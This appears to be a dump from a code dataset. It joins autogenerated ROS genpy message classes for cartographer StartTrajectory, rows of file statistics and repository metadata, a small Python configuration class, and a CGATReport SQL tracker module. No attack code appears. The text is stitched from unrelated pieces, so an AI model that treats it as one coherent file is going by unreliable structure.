# This Python file uses the following encoding: utf-8 """autogenerated by genpy from cartographer_ros_msgs/StartTrajectoryRequest.msg. Do not edit.""" import sys python3 = True if sys.hexversion > 0x03000000 else False import genpy import struct import cartographer_ros_msgs.msg class StartTrajectoryRequest(genpy.Message): _md5sum = "0780da312468afe59b45454db35b17ed" _type = "cartographer_ros_msgs/StartTrajectoryRequest" _has_header = False #flag to mark the presence of a Header object _full_text = """ cartographer_ros_msgs/TrajectoryOptions options cartographer_ros_msgs/SensorTopics topics ================================================================================ MSG: cartographer_ros_msgs/TrajectoryOptions # Copyright 2016 The Cartographer Authors # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. string tracking_frame string published_frame string odom_frame bool provide_odom_frame bool use_odometry bool use_nav_sat bool use_landmarks bool publish_frame_projected_to_2d int32 num_laser_scans int32 num_multi_echo_laser_scans int32 num_subdivisions_per_laser_scan int32 num_point_clouds float64 rangefinder_sampling_ratio float64 odometry_sampling_ratio float64 fixed_frame_pose_sampling_ratio float64 imu_sampling_ratio float64 landmarks_sampling_ratio # This is a binary-encoded # 'cartographer.mapping.proto.TrajectoryBuilderOptions' proto. string trajectory_builder_options_proto ================================================================================ MSG: cartographer_ros_msgs/SensorTopics # Copyright 2016 The Cartographer Authors # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. string laser_scan_topic string multi_echo_laser_scan_topic string point_cloud2_topic string imu_topic string odometry_topic string nav_sat_fix_topic string landmark_topic """ __slots__ = ['options','topics'] _slot_types = ['cartographer_ros_msgs/TrajectoryOptions','cartographer_ros_msgs/SensorTopics'] def __init__(self, *args, **kwds): """ Constructor. Any message fields that are implicitly/explicitly set to None will be assigned a default value. The recommend use is keyword arguments as this is more robust to future message changes. You cannot mix in-order arguments and keyword arguments. The available fields are: options,topics :param args: complete set of field values, in .msg order :param kwds: use keyword arguments corresponding to message field names to set specific fields. """ if args or kwds: super(StartTrajectoryRequest, self).__init__(*args, **kwds) #message fields cannot be None, assign default values for those that are if self.options is None: self.options = cartographer_ros_msgs.msg.TrajectoryOptions() if self.topics is None: self.topics = cartographer_ros_msgs.msg.SensorTopics() else: self.options = cartographer_ros_msgs.msg.TrajectoryOptions() self.topics = cartographer_ros_msgs.msg.SensorTopics() def _get_types(self): """ internal API method """ return self._slot_types def serialize(self, buff): """ serialize message into buffer :param buff: buffer, ``StringIO`` """ try: _x = self.options.tracking_frame length = len(_x) if python3 or type(_x) == unicode: _x = _x.encode('utf-8') length = len(_x) buff.write(struct.pack('<I%ss'%length, length, _x)) _x = self.options.published_frame length = len(_x) if python3 or type(_x) == unicode: _x = _x.encode('utf-8') length = len(_x) buff.write(struct.pack('<I%ss'%length, length, _x)) _x = self.options.odom_frame length = len(_x) if python3 or type(_x) == unicode: _x = _x.encode('utf-8') length = len(_x) buff.write(struct.pack('<I%ss'%length, length, _x)) _x = self buff.write(_get_struct_5B4i5d().pack(_x.options.provide_odom_frame, _x.options.use_odometry, _x.options.use_nav_sat, _x.options.use_landmarks, _x.options.publish_frame_projected_to_2d, _x.options.num_laser_scans, _x.options.num_multi_echo_laser_scans, _x.options.num_subdivisions_per_laser_scan, _x.options.num_point_clouds, _x.options.rangefinder_sampling_ratio, _x.options.odometry_sampling_ratio, _x.options.fixed_frame_pose_sampling_ratio, _x.options.imu_sampling_ratio, _x.options.landmarks_sampling_ratio)) _x = self.options.trajectory_builder_options_proto length = len(_x) if python3 or type(_x) == unicode: _x = _x.encode('utf-8') length = len(_x) buff.write(struct.pack('<I%ss'%length, length, _x)) _x = self.topics.laser_scan_topic length = len(_x) if python3 or type(_x) == unicode: _x = _x.encode('utf-8') length = len(_x) buff.write(struct.pack('<I%ss'%length, length, _x)) _x = self.topics.multi_echo_laser_scan_topic length = len(_x) if python3 or type(_x) == unicode: _x = _x.encode('utf-8') length = len(_x) buff.write(struct.pack('<I%ss'%length, length, _x)) _x = self.topics.point_cloud2_topic length = len(_x) if python3 or type(_x) == unicode: _x = _x.encode('utf-8') length = len(_x) buff.write(struct.pack('<I%ss'%length, length, _x)) _x = self.topics.imu_topic length = len(_x) if python3 or type(_x) == unicode: _x = _x.encode('utf-8') length = len(_x) buff.write(struct.pack('<I%ss'%length, length, _x)) _x = self.topics.odometry_topic length = len(_x) if python3 or type(_x) == unicode: _x = _x.encode('utf-8') length = len(_x) buff.write(struct.pack('<I%ss'%length, length, _x)) _x = self.topics.nav_sat_fix_topic length = len(_x) if python3 or type(_x) == unicode: _x = _x.encode('utf-8') length = len(_x) buff.write(struct.pack('<I%ss'%length, length, _x)) _x = self.topics.landmark_topic length = len(_x) if python3 or type(_x) == unicode: _x = _x.encode('utf-8') length = len(_x) buff.write(struct.pack('<I%ss'%length, length, _x)) except struct.error as se: self._check_types(struct.error("%s: '%s' when writing '%s'" % (type(se), str(se), str(locals().get('_x', self))))) except TypeError as te: self._check_types(ValueError("%s: '%s' when writing '%s'" % (type(te), str(te), str(locals().get('_x', self))))) def deserialize(self, str): """ unpack serialized message in str into this message instance :param str: byte array of serialized message, ``str`` """ try: if self.options is None: self.options = cartographer_ros_msgs.msg.TrajectoryOptions() if self.topics is None: self.topics = cartographer_ros_msgs.msg.SensorTopics() end = 0 start = end end += 4 (length,) = _struct_I.unpack(str[start:end]) start = end end += length if python3: self.options.tracking_frame = str[start:end].decode('utf-8') else: self.options.tracking_frame = str[start:end] start = end end += 4 (length,) = _struct_I.unpack(str[start:end]) start = end end += length if python3: self.options.published_frame = str[start:end].decode('utf-8') else: self.options.published_frame = str[start:end] start = end end += 4 (length,) = _struct_I.unpack(str[start:end]) start = end end += length if python3: self.options.odom_frame = str[start:end].decode('utf-8') else: self.options.odom_frame = str[start:end] _x = self start = end end += 61 (_x.options.provide_odom_frame, _x.options.use_odometry, _x.options.use_nav_sat, _x.options.use_landmarks, _x.options.publish_frame_projected_to_2d, _x.options.num_laser_scans, _x.options.num_multi_echo_laser_scans, _x.options.num_subdivisions_per_laser_scan, _x.options.num_point_clouds, _x.options.rangefinder_sampling_ratio, _x.options.odometry_sampling_ratio, _x.options.fixed_frame_pose_sampling_ratio, _x.options.imu_sampling_ratio, _x.options.landmarks_sampling_ratio,) = _get_struct_5B4i5d().unpack(str[start:end]) self.options.provide_odom_frame = bool(self.options.provide_odom_frame) self.options.use_odometry = bool(self.options.use_odometry) self.options.use_nav_sat = bool(self.options.use_nav_sat) self.options.use_landmarks = bool(self.options.use_landmarks) self.options.publish_frame_projected_to_2d = bool(self.options.publish_frame_projected_to_2d) start = end end += 4 (length,) = _struct_I.unpack(str[start:end]) start = end end += length if python3: self.options.trajectory_builder_options_proto = str[start:end].decode('utf-8') else: self.options.trajectory_builder_options_proto = str[start:end] start = end end += 4 (length,) = _struct_I.unpack(str[start:end]) start = end end += length if python3: self.topics.laser_scan_topic = str[start:end].decode('utf-8') else: self.topics.laser_scan_topic = str[start:end] start = end end += 4 (length,) = _struct_I.unpack(str[start:end]) start = end end += length if python3: self.topics.multi_echo_laser_scan_topic = str[start:end].decode('utf-8') else: self.topics.multi_echo_laser_scan_topic = str[start:end] start = end end += 4 (length,) = _struct_I.unpack(str[start:end]) start = end end += length if python3: self.topics.point_cloud2_topic = str[start:end].decode('utf-8') else: self.topics.point_cloud2_topic = str[start:end] start = end end += 4 (length,) = _struct_I.unpack(str[start:end]) start = end end += length if python3: self.topics.imu_topic = str[start:end].decode('utf-8') else: self.topics.imu_topic = str[start:end] start = end end += 4 (length,) = _struct_I.unpack(str[start:end]) start = end end += length if python3: self.topics.odometry_topic = str[start:end].decode('utf-8') else: self.topics.odometry_topic = str[start:end] start = end end += 4 (length,) = _struct_I.unpack(str[start:end]) start = end end += length if python3: self.topics.nav_sat_fix_topic = str[start:end].decode('utf-8') else: self.topics.nav_sat_fix_topic = str[start:end] start = end end += 4 (length,) = _struct_I.unpack(str[start:end]) start = end end += length if python3: self.topics.landmark_topic = str[start:end].decode('utf-8') else: self.topics.landmark_topic = str[start:end] return self except struct.error as e: raise genpy.DeserializationError(e) #most likely buffer underfill def serialize_numpy(self, buff, numpy): """ serialize message with numpy array types into buffer :param buff: buffer, ``StringIO`` :param numpy: numpy python module """ try: _x = self.options.tracking_frame length = len(_x) if python3 or type(_x) == unicode: _x = _x.encode('utf-8') length = len(_x) buff.write(struct.pack('<I%ss'%length, length, _x)) _x = self.options.published_frame length = len(_x) if python3 or type(_x) == unicode: _x = _x.encode('utf-8') length = len(_x) buff.write(struct.pack('<I%ss'%length, length, _x)) _x = self.options.odom_frame length = len(_x) if python3 or type(_x) == unicode: _x = _x.encode('utf-8') length = len(_x) buff.write(struct.pack('<I%ss'%length, length, _x)) _x = self buff.write(_get_struct_5B4i5d().pack(_x.options.provide_odom_frame, _x.options.use_odometry, _x.options.use_nav_sat, _x.options.use_landmarks, _x.options.publish_frame_projected_to_2d, _x.options.num_laser_scans, _x.options.num_multi_echo_laser_scans, _x.options.num_subdivisions_per_laser_scan, _x.options.num_point_clouds, _x.options.rangefinder_sampling_ratio, _x.options.odometry_sampling_ratio, _x.options.fixed_frame_pose_sampling_ratio, _x.options.imu_sampling_ratio, _x.options.landmarks_sampling_ratio)) _x = self.options.trajectory_builder_options_proto length = len(_x) if python3 or type(_x) == unicode: _x = _x.encode('utf-8') length = len(_x) buff.write(struct.pack('<I%ss'%length, length, _x)) _x = self.topics.laser_scan_topic length = len(_x) if python3 or type(_x) == unicode: _x = _x.encode('utf-8') length = len(_x) buff.write(struct.pack('<I%ss'%length, length, _x)) _x = self.topics.multi_echo_laser_scan_topic length = len(_x) if python3 or type(_x) == unicode: _x = _x.encode('utf-8') length = len(_x) buff.write(struct.pack('<I%ss'%length, length, _x)) _x = self.topics.point_cloud2_topic length = len(_x) if python3 or type(_x) == unicode: _x = _x.encode('utf-8') length = len(_x) buff.write(struct.pack('<I%ss'%length, length, _x)) _x = self.topics.imu_topic length = len(_x) if python3 or type(_x) == unicode: _x = _x.encode('utf-8') length = len(_x) buff.write(struct.pack('<I%ss'%length, length, _x)) _x = self.topics.odometry_topic length = len(_x) if python3 or type(_x) == unicode: _x = _x.encode('utf-8') length = len(_x) buff.write(struct.pack('<I%ss'%length, length, _x)) _x = self.topics.nav_sat_fix_topic length = len(_x) if python3 or type(_x) == unicode: _x = _x.encode('utf-8') length = len(_x) buff.write(struct.pack('<I%ss'%length, length, _x)) _x = self.topics.landmark_topic length = len(_x) if python3 or type(_x) == unicode: _x = _x.encode('utf-8') length = len(_x) buff.write(struct.pack('<I%ss'%length, length, _x)) except struct.error as se: self._check_types(struct.error("%s: '%s' when writing '%s'" % (type(se), str(se), str(locals().get('_x', self))))) except TypeError as te: self._check_types(ValueError("%s: '%s' when writing '%s'" % (type(te), str(te), str(locals().get('_x', self))))) def deserialize_numpy(self, str, numpy): """ unpack serialized message in str into this message instance using numpy for array types :param str: byte array of serialized message, ``str`` :param numpy: numpy python module """ try: if self.options is None: self.options = cartographer_ros_msgs.msg.TrajectoryOptions() if self.topics is None: self.topics = cartographer_ros_msgs.msg.SensorTopics() end = 0 start = end end += 4 (length,) = _struct_I.unpack(str[start:end]) start = end end += length if python3: self.options.tracking_frame = str[start:end].decode('utf-8') else: self.options.tracking_frame = str[start:end] start = end end += 4 (length,) = _struct_I.unpack(str[start:end]) start = end end += length if python3: self.options.published_frame = str[start:end].decode('utf-8') else: self.options.published_frame = str[start:end] start = end end += 4 (length,) = _struct_I.unpack(str[start:end]) start = end end += length if python3: self.options.odom_frame = str[start:end].decode('utf-8') else: self.options.odom_frame = str[start:end] _x = self start = end end += 61 (_x.options.provide_odom_frame, _x.options.use_odometry, _x.options.use_nav_sat, _x.options.use_landmarks, _x.options.publish_frame_projected_to_2d, _x.options.num_laser_scans, _x.options.num_multi_echo_laser_scans, _x.options.num_subdivisions_per_laser_scan, _x.options.num_point_clouds, _x.options.rangefinder_sampling_ratio, _x.options.odometry_sampling_ratio, _x.options.fixed_frame_pose_sampling_ratio, _x.options.imu_sampling_ratio, _x.options.landmarks_sampling_ratio,) = _get_struct_5B4i5d().unpack(str[start:end]) self.options.provide_odom_frame = bool(self.options.provide_odom_frame) self.options.use_odometry = bool(self.options.use_odometry) self.options.use_nav_sat = bool(self.options.use_nav_sat) self.options.use_landmarks = bool(self.options.use_landmarks) self.options.publish_frame_projected_to_2d = bool(self.options.publish_frame_projected_to_2d) start = end end += 4 (length,) = _struct_I.unpack(str[start:end]) start = end end += length if python3: self.options.trajectory_builder_options_proto = str[start:end].decode('utf-8') else: self.options.trajectory_builder_options_proto = str[start:end] start = end end += 4 (length,) = _struct_I.unpack(str[start:end]) start = end end += length if python3: self.topics.laser_scan_topic = str[start:end].decode('utf-8') else: self.topics.laser_scan_topic = str[start:end] start = end end += 4 (length,) = _struct_I.unpack(str[start:end]) start = end end += length if python3: self.topics.multi_echo_laser_scan_topic = str[start:end].decode('utf-8') else: self.topics.multi_echo_laser_scan_topic = str[start:end] start = end end += 4 (length,) = _struct_I.unpack(str[start:end]) start = end end += length if python3: self.topics.point_cloud2_topic = str[start:end].decode('utf-8') else: self.topics.point_cloud2_topic = str[start:end] start = end end += 4 (length,) = _struct_I.unpack(str[start:end]) start = end end += length if python3: self.topics.imu_topic = str[start:end].decode('utf-8') else: self.topics.imu_topic = str[start:end] start = end end += 4 (length,) = _struct_I.unpack(str[start:end]) start = end end += length if python3: self.topics.odometry_topic = str[start:end].decode('utf-8') else: self.topics.odometry_topic = str[start:end] start = end end += 4 (length,) = _struct_I.unpack(str[start:end]) start = end end += length if python3: self.topics.nav_sat_fix_topic = str[start:end].decode('utf-8') else: self.topics.nav_sat_fix_topic = str[start:end] start = end end += 4 (length,) = _struct_I.unpack(str[start:end]) start = end end += length if python3: self.topics.landmark_topic = str[start:end].decode('utf-8') else: self.topics.landmark_topic = str[start:end] return self except struct.error as e: raise genpy.DeserializationError(e) #most likely buffer underfill _struct_I = genpy.struct_I def _get_struct_I(): global _struct_I return _struct_I _struct_5B4i5d = None def _get_struct_5B4i5d(): global _struct_5B4i5d if _struct_5B4i5d is None: _struct_5B4i5d = struct.Struct("<5B4i5d") return _struct_5B4i5d # This Python file uses the following encoding: utf-8 """autogenerated by genpy from cartographer_ros_msgs/StartTrajectoryResponse.msg. Do not edit.""" import sys python3 = True if sys.hexversion > 0x03000000 else False import genpy import struct import cartographer_ros_msgs.msg class StartTrajectoryResponse(genpy.Message): _md5sum = "a14602d76d9b734b374a25be319cdbe9" _type = "cartographer_ros_msgs/StartTrajectoryResponse" _has_header = False #flag to mark the presence of a Header object _full_text = """cartographer_ros_msgs/StatusResponse status int32 trajectory_id ================================================================================ MSG: cartographer_ros_msgs/StatusResponse # Copyright 2018 The Cartographer Authors # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # A common message type to indicate the outcome of a service call. uint8 code string message """ __slots__ = ['status','trajectory_id'] _slot_types = ['cartographer_ros_msgs/StatusResponse','int32'] def __init__(self, *args, **kwds): """ Constructor. Any message fields that are implicitly/explicitly set to None will be assigned a default value. The recommend use is keyword arguments as this is more robust to future message changes. You cannot mix in-order arguments and keyword arguments. The available fields are: status,trajectory_id :param args: complete set of field values, in .msg order :param kwds: use keyword arguments corresponding to message field names to set specific fields. """ if args or kwds: super(StartTrajectoryResponse, self).__init__(*args, **kwds) #message fields cannot be None, assign default values for those that are if self.status is None: self.status = cartographer_ros_msgs.msg.StatusResponse() if self.trajectory_id is None: self.trajectory_id = 0 else: self.status = cartographer_ros_msgs.msg.StatusResponse() self.trajectory_id = 0 def _get_types(self): """ internal API method """ return self._slot_types def serialize(self, buff): """ serialize message into buffer :param buff: buffer, ``StringIO`` """ try: buff.write(_get_struct_B().pack(self.status.code)) _x = self.status.message length = len(_x) if python3 or type(_x) == unicode: _x = _x.encode('utf-8') length = len(_x) buff.write(struct.pack('<I%ss'%length, length, _x)) buff.write(_get_struct_i().pack(self.trajectory_id)) except struct.error as se: self._check_types(struct.error("%s: '%s' when writing '%s'" % (type(se), str(se), str(locals().get('_x', self))))) except TypeError as te: self._check_types(ValueError("%s: '%s' when writing '%s'" % (type(te), str(te), str(locals().get('_x', self))))) def deserialize(self, str): """ unpack serialized message in str into this message instance :param str: byte array of serialized message, ``str`` """ try: if self.status is None: self.status = cartographer_ros_msgs.msg.StatusResponse() end = 0 start = end end += 1 (self.status.code,) = _get_struct_B().unpack(str[start:end]) start = end end += 4 (length,) = _struct_I.unpack(str[start:end]) start = end end += length if python3: self.status.message = str[start:end].decode('utf-8') else: self.status.message = str[start:end] start = end end += 4 (self.trajectory_id,) = _get_struct_i().unpack(str[start:end]) return self except struct.error as e: raise genpy.DeserializationError(e) #most likely buffer underfill def serialize_numpy(self, buff, numpy): """ serialize message with numpy array types into buffer :param buff: buffer, ``StringIO`` :param numpy: numpy python module """ try: buff.write(_get_struct_B().pack(self.status.code)) _x = self.status.message length = len(_x) if python3 or type(_x) == unicode: _x = _x.encode('utf-8') length = len(_x) buff.write(struct.pack('<I%ss'%length, length, _x)) buff.write(_get_struct_i().pack(self.trajectory_id)) except struct.error as se: self._check_types(struct.error("%s: '%s' when writing '%s'" % (type(se), str(se), str(locals().get('_x', self))))) except TypeError as te: self._check_types(ValueError("%s: '%s' when writing '%s'" % (type(te), str(te), str(locals().get('_x', self))))) def deserialize_numpy(self, str, numpy): """ unpack serialized message in str into this message instance using numpy for array types :param str: byte array of serialized message, ``str`` :param numpy: numpy python module """ try: if self.status is None: self.status = cartographer_ros_msgs.msg.StatusResponse() end = 0 start = end end += 1 (self.status.code,) = _get_struct_B().unpack(str[start:end]) start = end end += 4 (length,) = _struct_I.unpack(str[start:end]) start = end end += length if python3: self.status.message = str[start:end].decode('utf-8') else: self.status.message = str[start:end] start = end end += 4 (self.trajectory_id,) = _get_struct_i().unpack(str[start:end]) return self except struct.error as e: raise genpy.DeserializationError(e) #most likely buffer underfill _struct_I = genpy.struct_I def _get_struct_I(): global _struct_I return _struct_I _struct_i = None def _get_struct_i(): global _struct_i if _struct_i is None: _struct_i = struct.Struct("<i") return _struct_i _struct_B = None def _get_struct_B(): global _struct_B if _struct_B is None: _struct_B = struct.Struct("<B") return _struct_B class StartTrajectory(object): _type = 'cartographer_ros_msgs/StartTrajectory' _md5sum = 'bed83613a1da70f1e83eafd765dad59d' _request_class = StartTrajectoryRequest _response_class = StartTrajectoryResponse

37.035862

528

0.658821

3,687

26,851

4.562246

0.070518

0.062779

0.051008

0.043755

0.89739

0.886689

0.885144

0.875275

0

0.014878

0.219024

26,851

724

529

37.087017

0.787268

0.090984

0

0.862069

1

0

0.172013

0.045451

0

0.000833

0

1

0.027915

false

0

0.013136

0

0.090312

0

null

0

1

0

1

0

null

0

8

22366428693ae275acb01db69ab820da721b2896

360

py

Python

adversarial_env/configuration.py

TorchPAIRED/TorchPAIRED

0b9b9ef13f9029d23682ed4752ea775230b49eb6

[ "MIT" ]

null

adversarial_env/configuration.py

TorchPAIRED/TorchPAIRED

0b9b9ef13f9029d23682ed4752ea775230b49eb6

[ "MIT" ]

null

adversarial_env/configuration.py

TorchPAIRED/TorchPAIRED

0b9b9ef13f9029d23682ed4752ea775230b49eb6

[ "MIT" ]

null

class EnvConfiguration: def __init__(self, encoding, agent_pos, agent_dir, goal_pos, carrying): self.encoding, self.agent_pos, self.agent_dir, self.goal_pos, self.carrying = encoding, agent_pos, agent_dir, goal_pos, carrying def get_configuration(self): return self.encoding, self.agent_pos, self.agent_dir, self.goal_pos, self.carrying

72

136

0.761111

52

360

4.942308

0.269231

0.124514

0.163424

0.762646

0.459144

0

0.141667

360

5

137

72

0.831715

0

1

0.4

false

0

0.2

0.8

0

null

0

1

0

1

0

1

0

null

0

1

0

1

0

8

223efc84a0bc36ff2dc6d3d1c2c0a7d89c8a7da2

96

py

Python

yeast/core/media/sd/__init__.py

irahorecka/sga-fba

fc7e923da8e79555780359f018c85b5e5339d8d0

[ "MIT" ]

null

yeast/core/media/sd/__init__.py

irahorecka/sga-fba

fc7e923da8e79555780359f018c85b5e5339d8d0

[ "MIT" ]

null

yeast/core/media/sd/__init__.py

irahorecka/sga-fba

fc7e923da8e79555780359f018c85b5e5339d8d0

[ "MIT" ]

null

from yeast.core.media.sd.base import sd from yeast.core.media.sd.sdszappanos import sdszappanos

32

55

0.833333

16

96

5

0.5

0.225

0.325

0.45

0.5

0

0.083333

96

2

56

48

0.909091

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

7

97d4e4a86daba51fb3e5c6b79b4b3ab6c7f537a8

11,125

py

Python

CGATPipelines/pipeline_docs/pipeline_proj007/trackers/macs_replicated_interval_associations.py

cdrakesmith/CGATPipelines

3c94ae4f9d87d51108255dc405c4b95af7c8b694

[ "MIT" ]

49

2015-04-13T16:49:25.000Z

2022-03-29T10:29:14.000Z

CGATPipelines/pipeline_docs/pipeline_proj007/trackers/macs_replicated_interval_associations.py

cdrakesmith/CGATPipelines

3c94ae4f9d87d51108255dc405c4b95af7c8b694

[ "MIT" ]

252

2015-04-08T13:23:34.000Z

2019-03-18T21:51:29.000Z

CGATPipelines/pipeline_docs/pipeline_proj007/trackers/macs_replicated_interval_associations.py

cdrakesmith/CGATPipelines

3c94ae4f9d87d51108255dc405c4b95af7c8b694

[ "MIT" ]

22

2015-05-21T00:37:52.000Z

2019-09-25T05:04:27.000Z

from cpgReport import * from CGATReport.Tracker import * from CGATReport.odict import OrderedDict as odict from macs_annotations import * ########################################################################## class replicatedAssociationsHierarchy(cpgTracker): """ """ pattern = "(.*)_replicated_intervals$" def __call__(self, track, slice=None): ANNOTATIONS_NAME = P['annotations_name'] statement = """SELECT count(distinct interval_id) as NMIs, feature_class FROM ( SELECT interval_id, CASE WHEN coding_tss > 0 THEN 'Protein-coding gene TSS' WHEN lincrna_tss > 0 THEN 'lncRNA gene TSS' WHEN short_rna_tss > 0 THEN 'short RNA TSS' WHEN pseudogene_tss > 0 THEN 'Pseudogene TSS' WHEN processed_transcript_tss > 0 THEN 'Processed transcript TSS' WHEN enhancer >0 THEN 'Enhancer (H3K4Me1)' WHEN rnaseq >0 THEN 'Novel RNAseq transcript TSS' ELSE 'Intergenic' END AS feature_class FROM ( SELECT i.interval_id, a.coding_tss, b.lincrna_tss, c.short_rna_tss, d.pseudogene_tss, e.processed_transcript_tss, f.enhancer, g.rnaseq FROM %(track)s_replicated_intervals i left join (SELECT distinct gene_id, 1 as coding_tss FROM %(track)s_replicated_%(ANNOTATIONS_NAME)s_overlap where (genes_nover>0 OR downstream_flank_nover>0 OR upstream_flank_nover>0) ) a on a.gene_id=i.interval_id left join (SELECT distinct gene_id, 1 as lincrna_tss FROM %(track)s_replicated_lncrna_tss_distance where closest_dist < 1000) b on i.interval_id=b.gene_id left join (SELECT distinct n.gene_id as gene_id, 1 as short_rna_tss FROM %(track)s_replicated_%(ANNOTATIONS_NAME)s_noncoding_tss_distance n, annotations.transcript_info t, %(track)s_replicated_%(ANNOTATIONS_NAME)s_interval_noncoding_mapping m where n.gene_id=m.interval_id AND m.gene_id=t.gene_id AND t.gene_biotype IN ("miRNA","snRNA","snoRNA","rRNA") AND n.closest_dist < 1000) c on i.interval_id=c.gene_id left join (SELECT distinct n.gene_id as gene_id, 1 as pseudogene_tss FROM %(track)s_replicated_%(ANNOTATIONS_NAME)s_noncoding_tss_distance n, annotations.transcript_info t, %(track)s_replicated_%(ANNOTATIONS_NAME)s_interval_noncoding_mapping m where n.gene_id=m.interval_id AND m.gene_id=t.gene_id AND t.gene_biotype="pseudogene" AND n.closest_dist < 1000) d on i.interval_id=d.gene_id left join (SELECT distinct n.gene_id as gene_id, 1 as processed_transcript_tss FROM %(track)s_replicated_%(ANNOTATIONS_NAME)s_noncoding_tss_distance n, annotations.transcript_info t, %(track)s_replicated_%(ANNOTATIONS_NAME)s_interval_noncoding_mapping m where n.gene_id=m.interval_id AND m.gene_id=t.gene_id AND t.gene_biotype="processed_transcript" AND n.closest_dist < 1000) e on i.interval_id=e.gene_id left join (SELECT distinct interval_id, 1 as enhancer FROM %(track)s_replicated_h3k4me1_intervals) f on i.interval_id=f.interval_id left join (SELECT distinct gene_id, 1 as rnaseq FROM %(track)s_replicated_rnaseq_tss_distance WHERE closest_dist < 1000) g on i.interval_id=g.gene_id)) group by feature_class order by feature_class asc;""" % locals() data = self.getAll(statement) return data ########################################################################## class replicatedAssociationsHierarchy3(cpgTracker): """ """ pattern = "(.*)_replicated_intervals$" def __call__(self, track, slice=None): ANNOTATIONS_NAME = P['annotations_name'] statement = """SELECT count(distinct interval_id) as NMIs, feature_class FROM ( SELECT interval_id, CASE WHEN coding_tss > 0 THEN 'Protein-coding gene TSS' WHEN lincrna_tss > 0 THEN 'lncRNA gene TSS' WHEN short_rna_tss > 0 THEN 'short RNA TSS' WHEN enhancer >0 THEN 'Enhancer (H3K4Me1)' WHEN rnaseq >0 THEN 'Novel RNAseq transcript TSS' ELSE 'Intergenic' END AS feature_class FROM ( SELECT i.interval_id, a.coding_tss, b.lincrna_tss, c.short_rna_tss, f.enhancer, g.rnaseq FROM %(track)s_replicated_intervals i left join (SELECT distinct gene_id, 1 as coding_tss FROM %(track)s_replicated_%(ANNOTATIONS_NAME)s_overlap where (genes_nover>0 OR downstream_flank_nover>0 OR upstream_flank_nover>0) ) a on a.gene_id=i.interval_id left join (SELECT distinct gene_id, 1 as lincrna_tss FROM %(track)s_replicated_lncrna_tss_distance where closest_dist < 1000) b on i.interval_id=b.gene_id left join (SELECT distinct n.gene_id as gene_id, 1 as short_rna_tss FROM %(track)s_replicated_%(ANNOTATIONS_NAME)s_noncoding_tss_distance n, annotations.transcript_info t, %(track)s_replicated_%(ANNOTATIONS_NAME)s_interval_noncoding_mapping m where n.gene_id=m.interval_id AND m.gene_id=t.gene_id AND t.gene_biotype IN ("miRNA","snRNA","snoRNA","rRNA") AND n.closest_dist < 1000) c on i.interval_id=c.gene_id left join (SELECT distinct interval_id, 1 as enhancer FROM %(track)s_replicated_h3k4me1_intervals) f on i.interval_id=f.interval_id left join (SELECT distinct gene_id, 1 as rnaseq FROM %(track)s_replicated_rnaseq_tss_distance WHERE closest_dist < 1000) g on i.interval_id=g.gene_id)) group by feature_class order by feature_class asc;""" % locals() data = self.getAll(statement) return data ########################################################################## class replicatedAssociationsHierarchy2(cpgTracker): """ """ pattern = "(.*)_replicated_intervals$" def __call__(self, track, slice=None): ANNOTATIONS_NAME = P['annotations_name'] statement = """SELECT count(distinct interval_id) as NMIs, feature_class FROM ( SELECT interval_id, CASE WHEN coding_tss > 0 THEN 'Protein-coding gene TSS' WHEN noncoding_tss > 0 THEN 'Non-coding gene TSS' ELSE 'Intergenic' END AS feature_class FROM ( SELECT i.interval_id, a.coding_tss, b.noncoding_tss FROM %(track)s_replicated_intervals i left join (SELECT distinct gene_id, 1 as coding_tss FROM %(track)s_replicated_%(ANNOTATIONS_NAME)s_overlap where (genes_nover>0 OR downstream_flank_nover>0 OR upstream_flank_nover>0) ) a on a.gene_id=i.interval_id left join (SELECT distinct gene_id, 1 as noncoding_tss FROM %(track)s_replicated_%(ANNOTATIONS_NAME)s_noncoding_tss_distance where closest_dist < 1000) b on i.interval_id=b.gene_id)) group by feature_class order by feature_class asc;""" % locals() data = self.getAll(statement) return data ########################################################################## class replicatedAssociations(cpgTracker): """ """ pattern = "(.*)_replicated_intervals$" def __call__(self, track, slice=None): ANNOTATIONS_NAME = P['annotations_name'] try: data1 = self.getValue("""SELECT count(distinct gene_id) as intervals FROM %(track)s_replicated_%(ANNOTATIONS_NAME)s_overlap where (genes_nover>0 OR downstream_flank_nover>0 OR upstream_flank_nover>0)""" % locals() ) except: data1 = "0" try: data2 = self.getValue("""SELECT count(distinct gene_id) as intervals FROM %(track)s_replicated_%(ANNOTATIONS_NAME)s_noncoding_tss_distance where closest_dist < 1000""" % locals() ) except: data2 = "0" try: data3 = self.getValue("""SELECT distinct count(distinct interval_id) as intervals, "enhancer" as feature_class FROM %(track)s_replicated_h3k4me1_intervals""" % locals() ) except: data3 = "0" try: data4 = self.getValue("""SELECT count(distinct gene_id) as intervals FROM %(track)s_replicated_rnaseq_tss_distance where closest_dist < 1000""" % locals() ) except: data4 = "0" try: data5 = self.getValue("""SELECT count(distinct gene_id) as intervals FROM %(track)s_replicated_lncrna_tss_distance where closest_dist < 1000""" % locals() ) except: data5 = "0" return odict(list(zip(("Protein-coding TSS", "Non-coding TSS", "H3K4Me1 Enhancer", "RNAseq transcript", "lincRNA TSS"), (data1, data2, data3, data4, data5))))

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py

Python

pyspectools/models/__init__.py

aowen-uwmad/PySpecTools

3fd0b68352910df1e653370797a8edd46d92fa1c

[ "MIT" ]

22

2018-03-14T10:44:17.000Z

2022-01-10T15:02:37.000Z

pyspectools/models/__init__.py

aowen-uwmad/PySpecTools

3fd0b68352910df1e653370797a8edd46d92fa1c

[ "MIT" ]

21

